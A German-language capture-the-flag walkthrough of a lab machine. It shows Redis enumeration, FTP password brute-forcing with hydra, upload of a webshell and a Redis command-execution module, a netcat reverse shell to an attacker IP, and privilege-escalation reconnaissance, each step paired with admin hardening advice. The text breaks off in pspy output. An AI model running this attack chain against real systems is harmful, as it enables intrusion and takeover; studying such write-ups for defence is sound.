Analyse: Mit authentifiziertem Zugriff werden die Befehle `client list` und `CONFIG GET *` erneut ausgeführt.
Bewertung: * `client list`: Zeigt Details über die aktuell verbundene(n) Client-Sitzung(en). Hier ist es die eigene Verbindung von `192.168.2.199:45180`. Dies ist nützlich, um zu sehen, ob andere Clients verbunden sind. * `CONFIG GET *`: Listet alle Konfigurationsparameter des Redis-Servers auf. Dies ist extrem aufschlussreich. Die lange Ausgabe (hier gekürzt) enthält wichtige Einstellungen wie: * `save ""`: Anscheinend ist das automatische Speichern auf die Festplatte deaktiviert. * `requirepass "bonjour"`: Bestätigt das gefundene Passwort. * `protected-mode "no"`: Der Protected Mode ist deaktiviert, was bedeutet, dass Redis Verbindungen von allen Interfaces akzeptiert, wenn kein `bind`-Parameter gesetzt oder ein Passwort (`requirepass`) konfiguriert ist. Da ein Passwort gesetzt ist, ist dies weniger kritisch, aber `protected-mode yes` wäre sicherer, wenn nur lokale Verbindungen erlaubt sein sollen. * `bind ""`: Nicht explizit gesetzt, was in Kombination mit `protected-mode no` bedeutet, dass Redis auf allen Netzwerkinterfaces lauscht (was der Fall ist, da wir uns von extern verbinden konnten).
Empfehlung (Pentester): Die Konfiguration bestätigt das Passwort und die Erreichbarkeit von extern. Suche in der `CONFIG GET *`-Ausgabe nach Parametern, die für Angriffe nützlich sein könnten, z.B. `dir` (Arbeitsverzeichnis), `dbfilename` (Datenbankdatei), `lua-time-limit`, oder ob Module geladen sind/werden können. Die interessanteste Möglichkeit ist oft das Ausnutzen der Fähigkeit, Module zu laden (`MODULE LOAD`), um Code auszuführen.
Empfehlung (Admin): Aktiviere `protected-mode yes`, wenn kein externer Zugriff benötigt wird. Setze den `bind`-Parameter explizit auf `127.0.0.1` oder die benötigte interne IP. Überprüfe alle Konfigurationsparameter auf Sicherheit und Notwendigkeit. Stelle sicher, dass Redis nicht mit Root-Rechten läuft.
192.168.2.114:6379> client list id=7085 addr=192.168.2.199:45180 fd=8 name= age=93 idle=0 flags=N db=0 sub=0 psub=0 multi=-1 qbuf=26 qbuf-free=32742 argv-mem=10 obl=0 oll=0 omem=0 tot-mem=61466 events=r cmd=client user=default 192.168.2.114:6379> CONFIG GET * 1) "rdbchecksum" 2) "yes" 3) "daemonize" 4) "no" 5) "io-threads-do-reads" 6) "no" 7) "lua-replicate-commands" 8) "yes" 9) "always-show-logo" 10) "no" 11) "protected-mode" 12) "no" 13) "rdbcompression" 14) "yes" 15) "rdb-del-sync-files" ... (Ausgabe gekürzt) ... 285) "proc-title-template" 286) "{title} {listen-addr} {server-mode}" 287) "save" 288) "" 289) "client-output-buffer-limit" 290) "normal 0 0 0 slave 268435456 67108864 60 pubsub 33554432 8388608 60" 291) "unixsocketperm" 292) "0" 293) "slaveof" 294) "" 295) "notify-keyspace-events" 296) "" 297) "bind" 298) "" 299) "requirepass" 300) "bonjour" 301) "oom-score-adj-values" 302) "0 200 800" ... (Ausgabe gekürzt) ...
Analyse: Nachdem das Redis-Passwort bekannt ist, wird ein erneuter Versuch gestartet, den FTP-Zugang zu kompromittieren. Diesmal wird `hydra` verwendet, um ein spezifisches Passwort (`bonjour`, das Redis-Passwort) gegen eine lange Liste von Benutzernamen zu testen. Der Befehl lautet `hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -p bonjour ftp://192.168.2.114 -t 64 -s 2121`. `-L` gibt die Benutzerliste an, `-p` das einzelne Passwort, `-t 64` die Anzahl der parallelen Tasks und `-s 2121` den Port.
Bewertung:** Wieder ein Volltreffer! Hydra findet schnell gültige Zugangsdaten: `login: ben`, `password: bonjour`. Es stellt sich heraus, dass das schwache Redis-Passwort auch für den FTP-Benutzer `ben` verwendet wird. Dies ist ein klassisches Beispiel für Passwort-Wiederverwendung. Der Angriff wurde nach dem Fund manuell abgebrochen (`^C`).
Empfehlung (Pentester): Exzellent! Der erste Shell-Zugang ist zum Greifen nah. Logge dich mit `ftp ben@192.168.2.114 -P 2121` und dem Passwort `bonjour` ein. Untersuche das FTP-Verzeichnis auf interessante Dateien oder Schreibrechte.
Empfehlung (Admin): Passwort-Wiederverwendung ist ein großes Sicherheitsrisiko. Jeder Dienst muss ein eigenes, starkes Passwort haben. Ändere sofort das Passwort für den FTP-Benutzer `ben` und das Redis-Passwort. Setze Richtlinien zur Passwortkomplexität und -einzigartigkeit durch.
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway). Hydra ([Link: https://github.com/vanhauser-thc/thc-hydra | Ziel: https://github.com/vanhauser-thc/thc-hydra]) starting at 2024-09-03 00:30:56 [WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore [DATA] max 64 tasks per 1 server, overall 64 tasks, 8295455 login tries (l:8295455/p:1), ~129617 tries per task [DATA] attacking ftp://192.168.2.114:2121/ [2121][ftp] host: 192.168.2.114 login: ben password: bonjour [STATUS] 1153.00 tries/min, 1153 tries in 00:01h, 8294302 to do in 119:54h, 64 active ^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.
Analyse: Mit den gefundenen Zugangsdaten (`ben:bonjour`) wird eine FTP-Verbindung hergestellt: `ftp 192.168.2.114 -P 2121`. Nach erfolgreichem Login werden die Befehle `ls -la` und `ls` ausgeführt, um den Inhalt des aktuellen Verzeichnisses aufzulisten.
Bewertung: Der Login als Benutzer `ben` ist erfolgreich (`230 Login successful.`). Die `ls`-Befehle zeigen jedoch ein leeres Verzeichnis an. Das bedeutet, dass im Home-Verzeichnis des FTP-Benutzers `ben` (standardmäßig oft `/srv/ftp` oder `/home/ben/ftp`) keine Dateien liegen.
Empfehlung (Pentester): Obwohl das Verzeichnis leer ist, prüfe, ob Schreibrechte bestehen. Versuche, eine Testdatei hochzuladen. Wenn das klappt, kann möglicherweise eine Webshell oder ein Exploit hochgeladen werden, um Codeausführung zu erreichen.
Empfehlung (Admin): Überprüfe die Berechtigungen des FTP-Benutzers. Wenn der Benutzer nur Dateien herunterladen soll, entziehe ihm die Schreibrechte. Überlege, ob der FTP-Zugang überhaupt notwendig ist.
Connected to 192.168.2.114. 220 pyftpdlib 1.5.6 ready. Name (192.168.2.114:ccat): ben 331 Username ok, send password. Password: bonjour 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls -la 229 Entering extended passive mode (|||54247|). 125 Data connection already open. Transfer starting. 226 Transfer complete. ftp> ls 229 Entering extended passive mode (|||42389|). 125 Data connection already open. Transfer starting. 226 Transfer complete.
Analyse: Es wird versucht, eine Datei namens `shell2.php` (vermutlich eine PHP-Webshell) auf den FTP-Server hochzuladen. Der Befehl lautet `put shell2.php`.
Bewertung: Der Upload ist erfolgreich (`226 Transfer complete.`, `5495 bytes sent`). Dies bestätigt, dass der Benutzer `ben` Schreibrechte im FTP-Verzeichnis hat. Dies ist ein wichtiger Schritt, da nun beliebige Dateien auf das Zielsystem übertragen werden können.
Empfehlung (Pentester): Der Upload einer PHP-Shell ist nur sinnvoll, wenn diese auch über einen Webserver ausgeführt werden kann. Da der Webserver auf Port 8000 läuft und wahrscheinlich ein anderes Verzeichnis bedient (`/var/www/html` laut pspy später), ist diese PHP-Shell im FTP-Verzeichnis (`/srv/ftp` laut pspy später) wahrscheinlich nutzlos. Stattdessen sollte der Schreibzugriff genutzt werden, um Exploits oder Werkzeuge hochzuladen, die über andere Wege (z.B. Redis) ausgeführt werden können. Der nächste Schritt sollte das Hochladen des Redis-Moduls sein.
Empfehlung (Admin): Entziehe dem FTP-Benutzer `ben` die Schreibrechte, wenn sie nicht unbedingt erforderlich sind. Beschränke den FTP-Zugriff auf ein isoliertes Verzeichnis (chroot jail), das nicht mit anderen Diensten (wie dem Webserver oder Redis) interagiert.
ftp> put shell2.php local: shell2.php remote: shell2.php 229 Entering extended passive mode (|||53349|). 125 Data connection already open. Transfer starting. 100% |***********************************| 5495 11.74 MiB/s 00:00 ETA 226 Transfer complete. 5495 bytes sent in 00:00 (4.84 MiB/s)
Analyse: Parallel zum weiteren Vorgehen wird ein Netcat-Listener auf dem Angreifersystem gestartet: `nc -lvnp 9001`. Dieser lauscht auf Port 9001 auf eingehende Verbindungen, was typischerweise für den Empfang einer Reverse Shell geschieht.
Bewertung: Der Listener ist bereit (`listening on [any] 9001 ...`). Dies ist eine vorbereitende Maßnahme für den Moment, in dem es gelingt, auf dem Zielsystem einen Befehl auszuführen, der eine Verbindung zurück zum Angreifer aufbaut.
Empfehlung (Pentester): Der Listener läuft. Nun muss ein Weg gefunden werden, auf dem Zielsystem einen Befehl wie `nc 192.168.2.199 9001 -e /bin/bash` (oder eine Variation davon) auszuführen. Der Redis-Dienst ist dafür ein heißer Kandidat.
Empfehlung (Admin): Ausgehende Verbindungen vom Server sollten, wenn möglich, auf notwendige Ziele und Ports beschränkt werden (Egress Filtering). Das Blockieren ausgehender Verbindungen auf ungewöhnliche Ports wie 9001 kann Reverse Shells verhindern.
listening on [any] 9001 ...
Analyse: Es wird ein GitHub-Repository geklont, das ein Redis-Modul zur Befehlsausführung enthält: `git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand`. Dieses Modul ermöglicht es, nach dem Laden in Redis beliebige Systembefehle auszuführen.
Bewertung: Das Klonen des Repositories ist erfolgreich. Dies beschafft den notwendigen Code, um ein benutzerdefiniertes Redis-Modul zu kompilieren.
Empfehlung (Pentester): Navigiere in das geklonte Verzeichnis und kompiliere das Modul gemäß der Anleitung (meist mit `make`). Lade das kompilierte Modul (`.so`-Datei) anschließend über FTP auf das Zielsystem hoch.
Empfehlung (Admin): Das Klonen geschieht auf dem Angreifersystem und stellt keine direkte Bedrohung dar. Die eigentliche Gefahr geht vom Laden unsignierter/unbekannter Module in Redis aus.
Klone nach 'RedisModules-ExecuteCommand'...
remote: Enumerating objects: 494, done.
remote: Counting objects: 100% (117/117), done.
remote: Compressing objects: 100% (17/17), done.
remote: Total 494 (delta 101), reused 100 (delta 100), pack-reused 377 (from 1)
Empfange Objekte: 100% (494/494), 203.32 KiB | 3.99 MiB/s, fertig.
Löse Unterschiede auf: 100% (289/289), fertig.
Analyse: Es wird in das Verzeichnis des geklonten Repositories gewechselt (`cd RedisModules-ExecuteCommand`) und der Inhalt aufgelistet (`ls`, `ll`). Anschließend wird das Modul mit `make` kompiliert.
Bewertung: Die Verzeichnisstruktur und die Dateien (`Makefile`, `src/`, etc.) werden angezeigt. Der `make`-Befehl läuft erfolgreich durch und erstellt die benötigte Shared-Object-Datei `module.so` im aktuellen Verzeichnis.
Empfehlung (Pentester): Das Modul `module.so` ist nun bereit zum Upload auf den Zielserver via FTP.
Empfehlung (Admin): Keine direkten Maßnahmen auf dem Zielsystem erforderlich, da dies auf dem Angreifersystem geschieht.
LICENSE Makefile README.md redismodule.h rmutil src
insgesamt 52
-rw-r--r-- 1 root root 1077 3. Sep 00:41 LICENSE
-rw-r--r-- 1 root root 472 3. Sep 00:41 Makefile
-rw-r--r-- 1 root root 598 3. Sep 00:41 README.md
-rw-r--r-- 1 root root 29043 3. Sep 00:41 redismodule.h
drwxr-xr-x 2 root root 4096 3. Sep 00:41 rmutil
drwxr-xr-x 2 root root 4096 3. Sep 00:41 src
cc -fPIC -std=gnu99 -c -o src/module.o src/module.c -I./src -I./rmutil -Wall -g -ggdb -rdynamic
make -C ./rmutil static
make[1]: Verzeichnis „/root/Hackingtools/RedisModules-ExecuteCommand/rmutil“ wird betreten
make[1]: „librmutil.a“ ist bereits aktuell.
make[1]: Verzeichnis „/root/Hackingtools/RedisModules-ExecuteCommand/rmutil“ wird verlassen
ld -o src/module.so src/module.o -shared -Bsymbolic -L./rmutil -lrmutil -lc
cp ./src/module.so .
make: Leaving directory '/root/Hackingtools/RedisModules-ExecuteCommand/src'
Analyse: Das frisch kompilierte Redis-Modul `module.so` wird nun über die bestehende FTP-Verbindung (mit Benutzer `ben`) auf den Zielserver hochgeladen. Der Befehl `put module.so` wird verwendet, gefolgt von `ls`, um den Erfolg zu überprüfen.
Bewertung: Der Upload von `module.so` (47872 Bytes) ist erfolgreich (`226 Transfer complete.`). Der `ls`-Befehl bestätigt, dass sich nun `module.so` und die zuvor hochgeladene (aber wahrscheinlich nutzlose) `shell2.php` im FTP-Verzeichnis befinden. Das FTP-Verzeichnis scheint `/srv/ftp` zu sein (dies wird später durch pspy bestätigt).
Empfehlung (Pentester): Das Modul ist auf dem Zielsystem. Der nächste Schritt ist, sich wieder mit `redis-cli` zu verbinden und das Modul mit dem Befehl `MODULE LOAD /pfad/zu/module.so` zu laden. Der Pfad ist wahrscheinlich `/srv/ftp/module.so`. Sobald das Modul geladen ist, kann der darin definierte Befehl (vermutlich `system.exec` oder ähnlich) verwendet werden, um die Reverse Shell zum Listener auf Port 9001 zu starten.
Empfehlung (Admin): Überwache die Inhalte von Verzeichnissen, in die externe Benutzer schreiben können. Implementiere File Integrity Monitoring (FIM), um unerwartete oder bösartige Dateien zu erkennen. Beschränke die Möglichkeit von Diensten wie Redis, auf beliebige Dateisystempfade zuzugreifen (z.B. durch AppArmor oder SELinux).
Connected to 192.168.2.114. 220 pyftpdlib 1.5.6 ready. Name (192.168.2.114:ccat): ben 331 Username ok, send password. Password: bonjour 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> put module.so local: module.so remote: module.so 229 Entering extended passive mode (|||36537|). 125 Data connection already open. Transfer starting. 100% |***********************************| 47872 13.20 MiB/s 00:00 ETA 226 Transfer complete. 47872 bytes sent in 00:00 (11.62 MiB/s) ftp> ls 229 Entering extended passive mode (|||46797|). 125 Data connection already open. Transfer starting. -rwx------ 1 ben ben 47872 Sep 02 22:43 module.so -rw-r--r-- 1 ben ben 5495 Sep 02 22:37 shell2.php 226 Transfer complete.
Analyse: Es wird sich erneut mit `redis-cli` authentifiziert. Dann wird versucht, das hochgeladene Modul mit `MODULE LOAD /srv/ftp/module.so` zu laden. Nach erfolgreichem Laden wird der neue Befehl `system.exec "id"` ausgeführt, um zu testen, ob die Befehlsausführung funktioniert.
Bewertung: Das Laden des Moduls ist erfolgreich (`OK`). Der Testbefehl `system.exec "id"` funktioniert ebenfalls und gibt die Ausgabe `"uid=1000(ben) gid=1000(ben) grupos=1000(ben)\n"` zurück. Dies bestätigt, dass beliebige Systembefehle als der Benutzer ausgeführt werden können, unter dem der Redis-Server läuft (hier Benutzer `ben`).
Empfehlung (Pentester): Ziel erreicht! Codeausführung als Benutzer `ben` ist möglich. Nutze nun `system.exec`, um die Reverse Shell zum wartenden Netcat-Listener zu starten: `system.exec "nc 192.168.2.199 9001 -e /bin/bash"`.
Empfehlung (Admin): Deaktiviere die Möglichkeit, Module zur Laufzeit zu laden (`MODULE LOAD`), wenn dies nicht zwingend benötigt wird. Dies kann durch Umbenennen oder Entfernen des Befehls in einer benutzerdefinierten Redis-Kompilierung oder durch Konfigurationseinstellungen geschehen, falls die Version dies unterstützt. Stelle sicher, dass Redis mit minimalen Rechten läuft (nicht als root, idealerweise als dedizierter Benutzer mit eingeschränkten Rechten).
Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe. 192.168.2.114:6379> MODULE LOAD /srv/ftp/module.so OK 192.168.2.114:6379> system.exec "id" "uid=1000(ben) gid=1000(ben) grupos=1000(ben)\n"
Analyse: Der Befehl zur Herstellung der Reverse Shell wird über das geladene Redis-Modul ausgeführt: `system.exec "nc 192.168.2.199 9001 -e /bin/bash"`. Parallel dazu wird die Ausgabe des Netcat-Listeners auf dem Angreifersystem gezeigt.
Bewertung: Erfolg! Der Netcat-Listener meldet eine eingehende Verbindung (`connect to [192.168.2.199] from (UNKNOWN) [192.168.2.114] 56994`). Auf der nun etablierten Reverse Shell wird der Befehl `id` ausgeführt, der bestätigt, dass die Shell als Benutzer `ben` (`uid=1000(ben)`) läuft. Der Befehl `whoami` bestätigt ebenfalls den Benutzernamen `ben`. Der initiale Zugriff auf das System als nicht-privilegierter Benutzer ist erfolgt.
Empfehlung (Pentester): Der erste Shell-Zugang ist gesichert! Stabilisiere die Shell (z.B. mit Python pty oder `script /dev/null -c bash`), führe grundlegende Enumeration durch (`uname -a`, `ps aux`, `netstat -tulnp`, `sudo -l`, Suche nach SUID/GUID-Dateien), suche nach der User-Flag (oft in `/home/ben` oder `/var/www`) und beginne mit der Suche nach Wegen zur Privilegienerweiterung (Privilege Escalation).
Empfehlung (Admin): Die Erkennung und Verhinderung von Reverse Shells (Egress Filtering) und die Absicherung der Dienste (Redis, FTP) hätten diesen Zugriff verhindern können. Untersuche die Logs, um den Angriffsverlauf nachzuvollziehen. Isoliere das kompromittierte System und beginne mit der Bereinigung und Neuabsicherung.
192.168.2.114:6379> system.exec "nc 192.168.2.199 9001 -e /bin/bash"
listening on [any] 9001 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.114] 56994 id uid=1000(ben) gid=1000(ben) groups=1000(ben) whoami ben ls ls -la total 0 drwxrwxrwt 2 root root 40 sep 2 23:40 . drwxr-xr-x 17 root root 3140 sep 2 23:40 ..
Analyse: Die erhaltene Reverse Shell ist oft nicht voll interaktiv (z.B. funktionieren Autovervollständigung, Pfeiltasten, `clear` nicht richtig). Um eine stabilere Shell zu erhalten, wird der `stty`-Befehl verwendet, um die Terminalgröße anzupassen (`stty rows 48 columns 94`). Danach wird `id` erneut ausgeführt.
Bewertung: Das Anpassen der Terminalgröße mit `stty` ist ein erster Schritt zur Verbesserung der Shell-Interaktivität. Oft wird dies durch ein Python-pty-Upgrade (`python -c 'import pty; pty.spawn("/bin/bash")'` oder ähnlich) ergänzt, was hier aber anscheinend nicht gezeigt wird oder bereits vorher stattgefunden hat. Der `id`-Befehl bestätigt weiterhin die Identität als Benutzer `ben`.
Empfehlung (Pentester): Führe immer Schritte zur Shell-Stabilisierung durch (pty, `stty raw -echo; fg`, `export TERM=xterm`). Beginne danach mit der systematischen Suche nach Wegen zur Privilegienerweiterung.
Empfehlung (Admin): Die Shell-Stabilisierung ist eine Technik des Angreifers und kann nicht direkt verhindert werden. Die Überwachung auf verdächtige Prozesse wie `python -c 'import pty...'` kann jedoch ein Hinweis sein.
ben@system:/dev/shm$ stty rows 48 columns 94 ben@system:/dev/shm$ id uid=1000(ben) gid=1000(ben) groups=1000(ben)
Analyse: Es wird nach Dateien mit gesetztem SUID-Bit gesucht. Das SUID-Bit erlaubt es einem Benutzer, eine Datei mit den Rechten des Dateieigentümers (oft root) auszuführen. Der Befehl `find / -type f -perm -4000 -ls 2>/dev/null` sucht im gesamten Dateisystem (`/`) nach Dateien (`-type f`), die das SUID-Bit gesetzt haben (`-perm -4000`), listet detaillierte Informationen auf (`-ls`) und unterdrückt Fehlermeldungen (z.B. bei fehlenden Leserechten) (`2>/dev/null`).
Bewertung: Die Ausgabe zeigt eine Liste von Standard-SUID-Binaries unter Linux (`chsh`, `newgrp`, `umount`, `su`, `sudo`, `chfn`, `mount`, `gpasswd`, `passwd`, `dbus-daemon-launch-helper`, `ssh-keysign`). Auf den ersten Blick scheint keine ungewöhnliche oder veraltete SUID-Datei dabei zu sein, die direkt für eine bekannte Schwachstelle ausgenutzt werden könnte. `sudo` ist natürlich immer ein Kandidat, falls der Benutzer `ben` bestimmte Befehle damit ausführen darf (`sudo -l`).
Empfehlung (Pentester): Überprüfe die gefundenen Standard-SUID-Binaries auf ungewöhnliche Versionen oder Konfigurationen. Führe `sudo -l` aus, um zu sehen, ob `ben` sudo-Rechte hat. Suche auch nach GUID-Dateien (`find / -type f -perm -2000 -ls 2>/dev/null`). Prüfe auf Dateien mit Capabilities (`getcap -r / 2>/dev/null`).
Empfehlung (Admin): Minimiere die Anzahl der SUID/GUID-Dateien auf das absolut Notwendige. Überprüfe regelmäßig die Berechtigungen und Versionen dieser Dateien. Konfiguriere `sudo` restriktiv (`/etc/sudoers`).
ben@system:/dev/shm$ find / -type f -perm -4000 -ls 2>/dev/null 259677 52 -rwsr-xr-x 1 root root 52880 feb 7 2020 /usr/bin/chsh 263174 44 -rwsr-xr-x 1 root root 44632 feb 7 2020 /usr/bin/newgrp 263702 36 -rwsr-xr-x 1 root root 35040 ene 20 2022 /usr/bin/umount 263333 72 -rwsr-xr-x 1 root root 71912 ene 20 2022 /usr/bin/su 278805 180 -rwsr-xr-x 1 root root 182600 feb 27 2021 /usr/bin/sudo 259676 60 -rwsr-xr-x 1 root root 58416 feb 7 2020 /usr/bin/chfn 263700 56 -rwsr-xr-x 1 root root 55528 ene 20 2022 /usr/bin/mount 259679 88 -rwsr-xr-x 1 root root 88304 feb 7 2020 /usr/bin/gpasswd 259680 64 -rwsr-xr-x 1 root root 63960 feb 7 2020 /usr/bin/passwd 268500 52 -rwsr-xr-- 1 root messagebus 51336 feb 21 2021 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 275138 472 -rwsr-xr-x 1 root root 481608 jul 2 2022 /usr/lib/openssh/ssh-keysign
Analyse: Es wird nach Dateien mit gesetzten Linux Capabilities gesucht. Capabilities erlauben es Prozessen, spezifische Root-Privilegien zu nutzen, ohne dass die gesamte Datei SUID-root sein muss. Der Befehl `getcap -r / 2>/dev/null` sucht rekursiv im gesamten Dateisystem nach solchen Dateien.
Bewertung: Der Befehl liefert keine Ausgabe. Das bedeutet, dass keine Dateien mit gesetzten Capabilities gefunden wurden, die für eine Privilegienerweiterung missbraucht werden könnten.
Empfehlung (Pentester): Da SUID und Capabilities keine offensichtlichen Vektoren liefern, konzentriere dich auf andere Methoden: `sudo -l`, Kernel-Exploits (`uname -a`), Fehlkonfigurationen von Diensten (insbesondere solche, die als root laufen), Cronjobs, ungesicherte Dateien/Skripte.
Empfehlung (Admin): Das Fehlen von Capabilities ist gut. Es ist eine Best Practice, Capabilities nur dort einzusetzen, wo sie zwingend benötigt werden.
ben@system:/dev/shm$ getcap -r / 2>/dev/null
ben@system:/dev/shm$
Analyse: Die nächsten Befehle dienen der manuellen Enumeration des Dateisystems. Es wird das Verzeichnis `/var/www` und das Home-Verzeichnis `/home/ben` inspiziert (`cd`, `ls -la`). Schließlich wird die Datei `user.txt` im Home-Verzeichnis von `ben` ausgelesen (`cat user.txt`).
Bewertung: * `/var/www`: Enthält ein Unterverzeichnis `html`. Beide Verzeichnisse gehören dem Benutzer `ben`. Dies ist ungewöhnlich, normalerweise gehört `/var/www` root oder www-data. * `/home/ben`: Enthält Standard-Konfigurationsdateien (`.bashrc`, `.profile` etc.) und die Datei `user.txt`. Die Bash-History wird nach `/dev/null` verlinkt, was Spuren verwischt. * `cat user.txt`: Gibt die User-Flag `060bf0877030446d8166f660d542b95d` aus. Ein wichtiges Zwischenziel ist erreicht.
Empfehlung (Pentester): Die User-Flag ist gefunden. Notiere sie. Die ungewöhnlichen Berechtigungen in `/var/www` könnten relevant sein, falls der Webserver später eine Rolle spielt. Fokussiere dich weiter auf Privilege Escalation.
Empfehlung (Admin): Setze die Berechtigungen für `/var/www` und Unterverzeichnisse korrekt (z.B. Besitzer `root:root` oder `root:www-data`, Schreibrechte nur für den Webserver-Benutzer in bestimmten Unterverzeichnissen). Das Umleiten der Bash-History ist verdächtig und sollte untersucht werden.
ben@system:/var/www/html$ cd .. ben@system:/var/www$ ls -la total 12 drwxr-xr-x 3 ben ben 4096 may 6 15:40 . drwxr-xr-x 12 root root 4096 jul 19 2022 .. drwxr-xr-x 2 ben ben 4096 may 6 15:52 html ben@system:/var/www$ cd /home/ ben@system:/home$ ls -la total 12 drwxr-xr-x 3 root root 4096 may 6 15:54 . drwxr-xr-x 18 root root 4096 jul 19 2022 .. drwxrwx--- 3 ben ben 4096 may 6 17:12 ben ben@system:/home$ cd ben/ ben@system:/home/ben$ ls -la total 32 drwxrwx--- 3 ben ben 4096 may 6 17:12 . drwxr-xr-x 3 root root 4096 may 6 15:54 .. lrwxrwxrwx 1 root root 9 jul 19 2022 .bash_history -> /dev/null -rwxr-xr-x 1 ben ben 220 jul 19 2022 .bash_logout -rwxr-xr-x 1 ben ben 3526 jul 19 2022 .bashrc drwxr-xr-x 3 ben ben 4096 may 6 15:45 .local -rwxr-xr-x 1 ben ben 807 jul 19 2022 .profile -rw-r--r-- 1 ben ben 66 jul 19 2022 .selected_editor -r-------- 1 ben ben 33 may 6 17:12 user.txt ben@system:/home/ben$ cat user.txt 060bf0877030446d8166f660d542b95d
Analyse: Weitere Verzeichnisse werden untersucht: `/var/mail` und `/var/backups`. In `/var/backups` wird eine Datei namens `apt.extended_states.0` gefunden.
Bewertung: `/var/mail` ist leer. `/var/backups` enthält nur eine Standarddatei des Paketmanagers (`apt`). Auf den ersten Blick liefern diese Verzeichnisse keine direkten Hinweise für eine Privilegienerweiterung.
Empfehlung (Pentester): Setze die systematische Enumeration fort. Überprüfe laufende Prozesse (`ps aux`), Netzwerkverbindungen (`netstat -tulnp`), geplante Aufgaben (Cronjobs in `/etc/crontab`, `/etc/cron.*`, `/var/spool/cron/crontabs`), Systemlogs (`/var/log`). Lade Enumeration-Skripte wie `linpeas.sh` oder `lse.sh` hoch und führe sie aus, um den Prozess zu automatisieren.
Empfehlung (Admin): Stelle sicher, dass keine sensiblen Informationen in Backup-Verzeichnissen oder Mail-Spools liegen bleiben. Regelmäßige Überprüfung der Systemkonfiguration und Logs ist wichtig.
ben@system:/opt$ cd /var/mail/ ben@system:/var/mail$ ls -al total 8 drwxrwsr-x 2 root mail 4096 jul 19 2022 . drwxr-xr-x 12 root root 4096 jul 19 2022 .. ben@system:/var/mail$ cd ../backups/ ben@system:/var/backups$ ls -al total 20 drwxr-xr-x 2 root root 4096 sep 3 00:13 . drwxr-xr-x 12 root root 4096 jul 19 2022 .. -rw-r--r-- 1 root root 11507 may 6 17:23 apt.extended_states.0
Analyse: Um laufende Prozesse und potenzielle Cronjobs besser zu überwachen, wird das Tool `pspy` heruntergeladen. `pspy` ist ein Werkzeug, das ohne Root-Rechte Prozessereignisse (Starts, Stopps) auf dem System überwacht. Hier wird die 32-Bit-Version `pspy32s` heruntergeladen (`wget .../pspy32s`), ausführbar gemacht (`chmod +x pspy32s`) und gestartet (`./pspy32s`).
Bewertung: Der Download und das Starten von `pspy` sind erfolgreich. `pspy` beginnt sofort, Prozessaktivitäten aufzulisten. Die Ausgabe zeigt eine Mischung aus Systemprozessen, den vom Benutzer `ben` gestarteten Diensten (Redis, FTP, HTTP-Server) und der eigenen Reverse-Shell-Verbindung. Besonders interessant sind Prozesse, die als `UID=0` (root) laufen und regelmäßig ausgeführt werden könnten (Cronjobs).
Empfehlung (Pentester): Analysiere die Ausgabe von `pspy` sorgfältig. Achte auf wiederkehrende Prozesse, insbesondere solche, die als root (`UID=0`) laufen und Skripte oder Binaries ausführen, auf die der Benutzer `ben` möglicherweise Schreibzugriff hat oder deren Verhalten beeinflusst werden kann. Die Zeile `2024/09/03 00:53:01 CMD: UID=0 PID=1641202 | /bin/sh -c /usr/bin/chkrootkit` ist extrem interessant, da sie zeigt, dass `chkrootkit` regelmäßig als root ausgeführt wird.
Empfehlung (Admin): Überwache das System auf das Herunterladen und Ausführen unbekannter Binärdateien. Beschränke die Möglichkeit, Code aus dem Internet herunterzuladen und auszuführen. Überprüfe regelmäßig laufende Prozesse und Cronjobs.
ben@system:/dev/shm$ wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32s --2024-09-03 00:52:11-- [Link: https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32s | Ziel: https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32s] Resolviendo github.com (github.com)... 140.82.121.3 Conectando con github.com (github.com)[140.82.121.3]:443... conectado. Petición HTTP enviada, esperando respuesta... 302 Found Localización: [Link: https://objects.githubusercontent.com/github-production-release-asset-2e65be/120821432/0e3d83a3-8bf2-444c-909f-ebe5c82700dd?... | Ziel: https://objects.githubusercontent.com/github-production-release-asset-2e65be/120821432/0e3d83a3-8bf2-444c-909f-ebe5c82700dd?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20240902%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20240902T225212Z&X-Amz-Expires=300&X-Amz-Signature=36663968b38fc671de2d69decdc2cad4c2343f26ad865d2f4dbb98da6c75878e&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=120821432&response-content-disposition=attachment%3B%20filename%3Dpspy32s&response-content-type=application%2Foctet-stream] [siguiendo] --2024-09-03 00:52:12-- [Link: https://objects.githubusercontent.com/... | Ziel: https://objects.githubusercontent.com/github-production-release-asset-2e65be/120821432/0e3d83a3-8bf2-444c-909f-ebe5c82700dd?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20240902%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20240902T225212Z&X-Amz-Expires=300&X-Amz-Signature=36663968b38fc671de2d69decdc2cad4c2343f26ad865d2f4dbb98da6c75878e&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=120821432&response-content-disposition=attachment%3B%20filename%3Dpspy32s&response-content-type=application%2Foctet-stream] Resolviendo objects.githubusercontent.com (objects.githubusercontent.com)... 185.199.110.133, 185.199.108.133, 185.199.109.133, ... Conectando con objects.githubusercontent.com (objects.githubusercontent.com)[185.199.110.133]:443... conectado. Petición HTTP enviada, esperando respuesta... 200 OK Longitud: 1175648 (1,1M) [application/octet-stream] Grabando a: ‘pspy32s’ pspy32s 100%[===================>] 1,12M --.-KB/s en 0,1s 2024-09-03 00:52:12 (11,4 MB/s) - ‘pspy32s’ guardado [1175648/1175648] ben@system:/dev/shm$ chmod +x pspy32s ben@system:/dev/shm$ ./pspy32s pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d ██▓███ 